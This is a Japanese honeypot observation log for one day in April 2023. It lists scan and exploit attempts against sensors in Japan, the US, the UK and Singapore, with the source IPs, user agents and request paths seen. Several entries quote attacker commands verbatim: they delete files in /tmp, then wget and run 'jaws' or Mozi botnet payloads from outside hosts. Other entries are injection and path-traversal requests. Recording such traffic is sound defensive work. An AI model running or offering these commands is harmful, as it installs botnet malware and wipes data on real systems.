2023/04/12 ハニーポット(仮) 観測記録 - コンニチハレバレトシタアオゾラ

ハニーポット(仮) 観測記録 2023/04/12分です。

特徴

共通

GPONルータの脆弱性を狙うアクセス
CensysInspectによるスキャン行為
zgrabによるスキャン行為
/.envへのスキャン行為

Location:JP

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
Spring Bootの脆弱性を狙うアクセス
aiohttpによるスキャン行為
/.gitへのスキャン行為
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget 167.71.210.63/jaws;
sh /tmp/jaws

cd /tmp;
rm -rf *;
wget 45.81.243.34/jaws;
sh /tmp/jaws

Location:US

NetGear製品の脆弱性を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
/.gitへのスキャン行為
Apache Tomcatへのスキャン行為
phpMyAdminへのスキャン行為
Gh0stRATのような動き
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget 45.81.243.34/jaws;
sh /tmp/jaws

cd /tmp;
rm -rf *;
wget 94.158.247.123/jaws;
sh /tmp/jaws

cd /tmp;
rm -rf *;
wget http://192.168.1.1:8088/Mozi.a;
chmod 777 Mozi.a;
/tmp/Mozi.a jaws

Location:UK

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
Atlassian Jira Server/Data Centerの脆弱性(CVE-2021-26086)を狙うアクセス
JBossの脆弱性を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
NetGear製品の脆弱性を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
Spring Bootの脆弱性を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
curlによるスキャン行為
/.gitへのスキャン行為
Apache Tomcatへのスキャン行為
Laravelへのスキャン行為
WordPressへのスキャン行為
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget http://192.168.1.1:8088/Mozi.a;
chmod 777 Mozi.a;
/tmp/Mozi.a jaws

Location:SG

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
Spring Bootの脆弱性を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
Apache Tomcatへのスキャン行為
UserAgentがHello, Worldであるアクセス
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget 167.71.210.63/jaws;
sh /tmp/jaws

cd /tmp;
rm -rf *;
wget 45.81.243.34/jaws;
sh /tmp/jaws

cd /tmp;
rm -rf *;
wget heylitimysun.top/jaws;
sh /tmp/jaws

他

アクセス数推移

JP：総アクセス数：112 (前日比：-9)
US：総アクセス数：118 (前日比：-135)
UK：総アクセス数：147 (前日比：-83)
SG：総アクセス数：113 (前日比：-275)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数	送信元IPアドレス	国
4	3.141.4.223	United States
1	4.255.209.10	United States
1	8.45.47.48	United States
1	20.55.58.5	United States
2	20.109.96.84	United States
1	20.241.40.18	United States
1	20.241.104.251	United States
1	35.91.15.80	United States
18	43.154.141.71	Singapore
11	44.192.19.97	United States
1	45.33.80.243	United States
1	45.56.108.128	United States
1	45.79.172.21	United States
1	45.79.181.104	United States
1	45.79.181.179	United States
1	45.79.181.223	United States
1	45.79.181.251	United States
1	45.88.66.237	Bulgaria
2	65.49.20.69	United States
10	69.167.12.33	United States
1	95.214.27.151	Bulgaria
1	104.192.0.50	United States
8	135.125.244.48	France
7	135.125.246.110	France
1	167.94.145.59	United States
1	167.248.133.33	United States
1	169.150.248.222	United States
1	172.104.11.34	United States
1	174.97.82.151	United States
4	185.180.143.137	Portugal
4	185.180.143.138	Portugal
5	185.254.196.173	Ukraine
1	186.195.237.127	Brazil
1	186.195.238.118	Brazil
1	192.227.173.18	United States
1	192.241.238.17	United States
11	193.32.162.159	Romania
1	205.210.31.136	United States

UserAgent一覧

件数	UserAgent
13	`-`
2	`Go-http-client/1.1`
3	`Hello, world`
2	`Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30`
2	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36`
18	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.46`
6	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36`
8	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36`
10	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36`
11	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0`
27	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
2	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
1	`Mozilla/5.0 zgrab/0.x`
1	`Mozilla/5.0`
1	`Python/3.7 aiohttp/3.7.4.post0`
1	`python-requests/2.25.1`

リクエスト内容一覧

件数	Method	Request	Protocol
13		`\x16\x03\x01`
30	GET	`/.env`	HTTP/1.1
1	GET	`/.git/config`	HTTP/1.1
1	GET	`//.env`	HTTP/1.1
1	GET	`/99vt`	HTTP/1.1
1	GET	`/99vu`	HTTP/1.1
1	GET	`/aaaaaaaaaaaaaaaaaaaaaaaaaqr`	HTTP/1.1
1	GET	`/actuator/health`	HTTP/1.1
1	GET	`/cdn-cgi/trace`	HTTP/1.1
11	GET	`/dispatch.asp`	HTTP/1.1
3	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/gate.php`	HTTP/1.1
1	GET	`/geoserver/web/`	HTTP/1.1
2	GET	`/robots.txt`	HTTP/1.1
2	GET	`/shell?cd+/tmp;rm+-rf+*;wget+167[.]71[.]210[.]63/jaws;sh+/tmp/jaws`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+45[.]81[.]243[.]34/jaws;sh+/tmp/jaws`	HTTP/1.1
1	GET	`/systembc/password.php`	HTTP/1.0
1	GET	`/v3/time`	HTTP/1.1
1	GET	`/wp-content/`	HTTP/1.1
18	HEAD	`/Core/Skin/Login.aspx`	HTTP/1.1
2	HEAD	`/`	HTTP/1.1
1	HEAD	`/backup`	HTTP/1.1
1	HEAD	`/bc`	HTTP/1.1
1	HEAD	`/bk`	HTTP/1.1
1	HEAD	`/home`	HTTP/1.1
2	HEAD	`/icons/.%%32%65/.%%32%65/apache2/icons/non-existant-image.png`	HTTP/1.1
2	HEAD	`/icons/.%%32%65/.%%32%65/apache2/icons/sphere1.png`	HTTP/1.1
2	HEAD	`/icons/.%2e/%2e%2e/apache2/icons/sphere1.png`	HTTP/1.1
2	HEAD	`/icons/sphere1.png`	HTTP/1.1
1	HEAD	`/main`	HTTP/1.1
1	HEAD	`/new`	HTTP/1.1
1	HEAD	`/old`	HTTP/1.1
1	HEAD	`/wordpress`	HTTP/1.1
1	HEAD	`/wp`	HTTP/1.1
1	POST	`/boaform/admin/formLogin`	HTTP/1.1

Location:US

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	20.55.58.5	United States
1	27.47.3.178	China
7	35.216.166.62	United States
1	45.79.181.94	United States
1	45.79.181.104	United States
1	45.79.181.179	United States
2	45.79.181.251	United States
2	45.88.66.237	Bulgaria
1	45.128.232.149	Bulgaria
1	45.130.153.170	United States
17	54.37.79.75	France
1	60.221.224.113	China
2	62.210.207.17	France
1	64.62.197.185	United States
1	64.62.197.186	United States
1	66.240.205.34	United States
1	67.21.36.5	United States
8	95.214.235.216	Ukraine
1	103.163.13.18	Indonesia
2	107.189.10.254	United States
2	109.237.98.226	Russia
1	117.211.39.41	India
1	143.244.41.219	United Kingdom
2	152.89.196.54	Russia
2	154.209.125.115	Seychelles
2	162.142.125.11	United States
1	162.243.131.10	United States
1	162.243.146.31	United States
2	167.248.133.49	United States
2	167.248.133.52	United States
1	171.22.30.127	Bulgaria
1	172.104.11.34	United States
1	172.104.11.51	United States
1	172.105.128.11	United States
2	172.105.128.12	United States
1	172.105.128.13	United States
3	179.43.145.90	Panama
2	179.43.177.242	Panama
10	192.64.4.30	United States
1	192.155.90.118	United States
1	192.241.192.34	United States
1	192.241.238.18	United States
11	193.32.162.159	Romania
1	193.35.18.251	Bulgaria
1	194.55.224.21	Bulgaria
1	194.55.224.203	Bulgaria
1	194.233.82.210	Singapore
1	198.199.117.146	United States
1	198.235.24.178	United States
1	205.210.31.132	United States
5	208.100.26.231	United States
1	218.161.56.47	Taiwan

UserAgent一覧

件数	UserAgent
25	`-`
3	`Hello, world`
1	`Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)`
1	`Mozilla/5.0 (Android 6.0.1; Mobile; rv:48.0) Gecko/48.0 Firefox/48.0`
3	`Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30`
6	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:103.0) Gecko/20100101 Firefox/103.0 abuse.xmco.fr`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; ASU2JS; rv:11.0) like Gecko`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 OPR/94.0.0.0 (Edition Yx GX)`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 OPR/94.0.0.0`
10	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
11	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46`
1	`Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2117.157 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 6.1; Trident/7.0; EIE10;ENUSMSN; rv:11.0) like Gecko`
2	`Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE`
1	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F`
27	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
7	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
3	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
5	`Mozilla/5.0 (iPhone; CPU iPhone OS 13_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Safari/605.1.15`
4	`Mozilla/5.0 zgrab/0.x`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`Gh0st\xad`
1		`MGLNDD_34.68.118.83_80\n`
1		`\x05\xe9`
1		`\x16\x03\x01\x01H\x01`
16		`\x16\x03\x01`
30	GET	`/.env`	HTTP/1.1
1	GET	`/.git/config`	HTTP/1.1
1	GET	`/.svn/entries`	HTTP/1.1
1	GET	`/.svn/wc.db`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/HNAP1`	HTTP/1.1
1	GET	`/ReportServer`	HTTP/1.1
1	GET	`/_profiler/phpinfo`	HTTP/1.1
1	GET	`/actuator/gateway/routes`	HTTP/1.1
1	GET	`/boaform/admin/formLogin?username=adminisp&psd=adminisp`	HTTP/1.0
1	GET	`/config.json`	HTTP/1.1
11	GET	`/dispatch.asp`	HTTP/1.1
1	GET	`/evox/about`	HTTP/1.1
5	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/geoserver/web/`	HTTP/1.1
1	GET	`/info.php`	HTTP/1.1
1	GET	`/manager/html`	HTTP/1.1
1	GET	`/manager/text/list`	HTTP/1.1
1	GET	`/nmaplowercheck1681188776`	HTTP/1.1
1	GET	`/phpmyadmin/index.php`	HTTP/1.1
1	GET	`/portal/redlion`	HTTP/1.1
1	GET	`/robots.txt`	HTTP/1.1
1	GET	`/server-status`	HTTP/1.1
1	GET	`/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//103[.]163[.]13[.]130:48534/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1`	HTTP/1.0
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+45[.]81[.]243[.]34/jaws;sh+/tmp/jaws`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+94[.]158[.]247[.]123/jaws;sh+/tmp/jaws`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+http[:]//192[.]168[.]1[.]1:8088/Mozi.a;chmod+777+Mozi[.]a;/tmp/Mozi.a+jaws`	HTTP/1.1
1	GET	`/telescope/requests`	HTTP/1.1
1	GET	`/wc.db`	HTTP/1.1
1	GET	`/web/index.html`	HTTP/1.1
3	HEAD	`/`	HTTP/1.1
1	HEAD	`/backup`	HTTP/1.1
1	HEAD	`/bc`	HTTP/1.1
1	HEAD	`/bk`	HTTP/1.1
1	HEAD	`/home`	HTTP/1.1
1	HEAD	`/main`	HTTP/1.1
1	HEAD	`/new`	HTTP/1.1
1	HEAD	`/old`	HTTP/1.1
1	HEAD	`/wordpress`	HTTP/1.1
1	HEAD	`/wp`	HTTP/1.1
1	POST	`/?p=4`	HTTP/1.1
7	POST	`/boaform/admin/formLogin`	HTTP/1.1
1	POST	`/sdk`	HTTP/1.1
1	POST	`/wp-comments-post.php`	HTTP/1.1
3	PRI	`*`	HTTP/2.0

Location:UK

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	20.25.251.62	United States
5	20.163.99.34	United States
1	27.124.12.21	Singapore
1	31.37.121.37	France
1	34.223.253.215	United States
1	45.33.80.243	United States
1	45.79.181.179	United States
1	45.79.181.251	United States
2	45.88.66.237	Bulgaria
5	50.31.21.4	United States
13	54.37.79.75	France
7	64.227.70.187	United States
1	66.240.192.82	United States
2	74.82.47.4	United States
6	77.108.217.37	Russia
10	89.221.253.101	Sweden
7	95.214.235.216	Ukraine
1	104.28.230.68	United States
1	104.28.249.42	United States
1	107.170.224.22	United States
1	107.170.225.11	United States
1	117.211.44.50	India
1	120.85.183.237	China
1	143.244.41.219	United Kingdom
2	152.89.196.54	Russia
2	154.209.125.115	Seychelles
1	162.243.142.27	United States
18	164.90.205.35	United States
2	167.248.133.189	United States
1	172.104.11.4	United States
1	172.104.11.51	United States
2	172.105.128.12	United States
1	172.105.128.13	United States
7	178.128.255.95	United States
10	179.43.145.90	Panama
2	179.43.177.242	Panama
4	185.180.143.138	Portugal
1	185.225.74.240	Bulgaria
1	192.155.90.118	United States
3	192.155.90.220	United States
1	192.241.210.46	United States
1	192.241.226.6	United States
10	193.32.162.159	Romania
1	193.35.18.243	Bulgaria
1	193.35.18.251	Bulgaria
1	195.178.120.37	Bulgaria
1	198.235.24.153	United States
1	200.123.30.236	Peru

UserAgent一覧

件数	UserAgent
33	`-`
16	`Go-http-client/1.1`
1	`Hello, world`
5	`Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30`
2	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36`
6	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36`
4	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36`
5	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
10	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46`
10	`Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0`
1	`Mozilla/5.0 (Windows NT 10.0; rv:110.0) Gecko/20100101 Firefox/110.0`
1	`Mozilla/5.0 (Windows NT 4.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE`
1	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36`
1	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36`
21	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36`
1	`Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36`
2	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36`
7	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
1	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
1	`Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1`
5	`Mozilla/5.0 zgrab/0.x`
3	`Mozilla/5.0`
1	`curl/7.29.0`
1	`python-requests/2.25.1`
1	`python-requests/2.28.2`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`-`
1		`HELP`
22		`\x16\x03\x01`
1	GET	`/.DS_Store`	HTTP/1.1
24	GET	`/.env`	HTTP/1.1
4	GET	`/.git/config`	HTTP/1.1
1	GET	`/.svn/entries`	HTTP/1.1
1	GET	`/.svn/wc.db`	HTTP/1.1
1	GET	`/.vscode/sftp.json`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/?rest_route=/wp/v2/users/`	HTTP/1.1
1	GET	`/?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=gh2yzqj5`	HTTP/1.1
1	GET	`/HNAP1`	HTTP/1.1
1	GET	`/System/configurationFile?auth=YWRtaW46MTEK`	HTTP/1.1
1	GET	`/_profiler/phpinfo`	HTTP/1.1
1	GET	`/about`	HTTP/1.1
1	GET	`/actuator/gateway/routes`	HTTP/1.1
1	GET	`/actuator/health`	HTTP/1.1
1	GET	`/api/search?folderIds=0`	HTTP/1.1
2	GET	`/cdn-cgi/trace`	HTTP/1.1
2	GET	`/client/get_targets`	HTTP/1.1
2	GET	`/config.json`	HTTP/1.1
1	GET	`/core`	HTTP/1.1
1	GET	`/current_config/Account1`	HTTP/1.1
1	GET	`/current_config/passwd`	HTTP/1.1
2	GET	`/debug/default/view?panel=config`	HTTP/1.1
10	GET	`/dispatch.asp`	HTTP/1.1
1	GET	`/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application`	HTTP/1.1
1	GET	`/etc/passwd%00`	HTTP/1.1
1	GET	`/etc/passwd`	HTTP/1.1
1	GET	`/evox/about`	HTTP/1.1
5	GET	`/favicon.ico`	HTTP/1.1
2	GET	`/geoip/`	HTTP/1.1
1	GET	`/geoserver/web/`	HTTP/1.1
1	GET	`/httpd.core`	HTTP/1.1
1	GET	`/hudson`	HTTP/1.1
1	GET	`/info.php`	HTTP/1.1
1	GET	`/invoker/readonly`	HTTP/1.1
1	GET	`/jenkins/login`	HTTP/1.1
1	GET	`/login.action`	HTTP/1.1
1	GET	`/login`	HTTP/1.1
3	GET	`/manager/html`	HTTP/1.1
1	GET	`/manager/text/list`	HTTP/1.1
1	GET	`/mnt/mtd/Config/Account1`	HTTP/1.1
1	GET	`/nginx.core`	HTTP/1.1
1	GET	`/nmaplowercheck1681212347`	HTTP/1.1
1	GET	`/php-cgi.core`	HTTP/1.1
1	GET	`/php.core`	HTTP/1.1
1	GET	`/portal/redlion`	HTTP/1.1
1	GET	`/robots.txt`	HTTP/1.1
1	GET	`/s/4333e26363e2534313e2233313/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties`	HTTP/1.1
1	GET	`/script`	HTTP/1.1
1	GET	`/server-status`	HTTP/1.1
1	GET	`/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//117[.]211[.]44[.]50:35300/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1`	HTTP/1.0
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+http[:]//192[.]168[.]1[.]1:8088/Mozi.a;chmod+777+Mozi[.]a;/tmp/Mozi.a+jaws`	HTTP/1.1
1	GET	`/telescope/requests`	HTTP/1.1
2	GET	`/upl.php`	HTTP/1.1
1	GET	`/users/sign_in`	HTTP/1.1
1	GET	`/v2/_catalog`	HTTP/1.1
1	GET	`/voddetail/76601.html`	HTTP/1.1
1	GET	`/wc.db`	HTTP/1.1
1	GET	`/wp-login.php`	HTTP/1.1
2	HEAD	`/`	HTTP/1.1
1	HEAD	`/icons/.%%32%65/.%%32%65/apache2/icons/non-existant-image.png`	HTTP/1.1
1	HEAD	`/icons/.%%32%65/.%%32%65/apache2/icons/sphere1.png`	HTTP/1.1
1	HEAD	`/icons/.%2e/%2e%2e/apache2/icons/sphere1.png`	HTTP/1.1
1	HEAD	`/icons/sphere1.png`	HTTP/1.1
1	POST	`/_ignition/execute-solution`	HTTP/1.1
7	POST	`/boaform/admin/formLogin`	HTTP/1.1
1	POST	`/sdk`	HTTP/1.1
1	POST	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	PRI	`*`	HTTP/2.0

Location:SG

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	3.218.244.183	United States
1	20.55.53.144	United States
1	20.75.55.4	United States
1	20.241.104.251	United States
1	23.30.8.154	United States
1	41.251.182.167	Morocco
1	45.56.108.128	United States
2	45.79.172.21	United States
1	45.79.181.94	United States
1	45.79.181.179	United States
1	45.79.181.223	United States
1	45.79.181.251	United States
1	45.88.66.237	Bulgaria
25	51.79.29.48	Canada
1	64.62.197.142	United States
1	64.62.197.146	United States
9	79.133.56.235	Germany
1	91.149.56.173	Norway
1	104.28.224.64	United States
7	104.248.230.251	United States
2	109.237.98.226	Russia
1	112.242.6.50	China
2	137.184.105.192	United States
4	152.32.150.182	Hong Kong
2	152.89.196.54	Russia
1	161.35.233.14	United States
2	162.142.125.11	United States
1	162.243.148.13	United States
1	162.243.151.26	United States
2	167.94.138.33	United States
2	167.99.13.19	United States
1	172.104.11.46	United States
1	172.104.11.51	United States
1	172.105.128.11	United States
1	172.105.128.13	United States
1	179.43.177.242	Panama
4	185.180.143.8	Portugal
4	185.180.143.72	Portugal
1	188.218.121.72	Italy
1	192.155.90.118	United States
7	193.32.162.159	Romania
1	193.35.18.251	Bulgaria
1	194.55.224.203	Bulgaria
1	194.110.203.85	private ip address
1	195.178.120.37	Bulgaria
4	198.20.69.98	United States
1	198.199.109.99	United States
1	198.235.24.168	United States
1	200.215.163.144	Brazil
1	205.210.31.149	United States

UserAgent一覧

件数	UserAgent
25	`-`
1	`Hello, World`
4	`Hello, world`
1	`Mozilla/5.0 (Linux; Android 11; IN2025) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36`
1	`Mozilla/5.0 (Linux; Android 12; M2102J20SG) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36`
1	`Mozilla/5.0 (Linux; Android 12; Pixel 4a (5G)) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 Edg/99.0.1150.55`
3	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11`
1	`Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36`
3	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Edg/109.0.1518.78`
8	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36`
7	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46`
29	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36`
1	`Mozilla/5.0 (X11; U; FreeBSD i386; de-CH; rv:1.9.2.8) Gecko/20100729 Firefox/3.6.8`
4	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
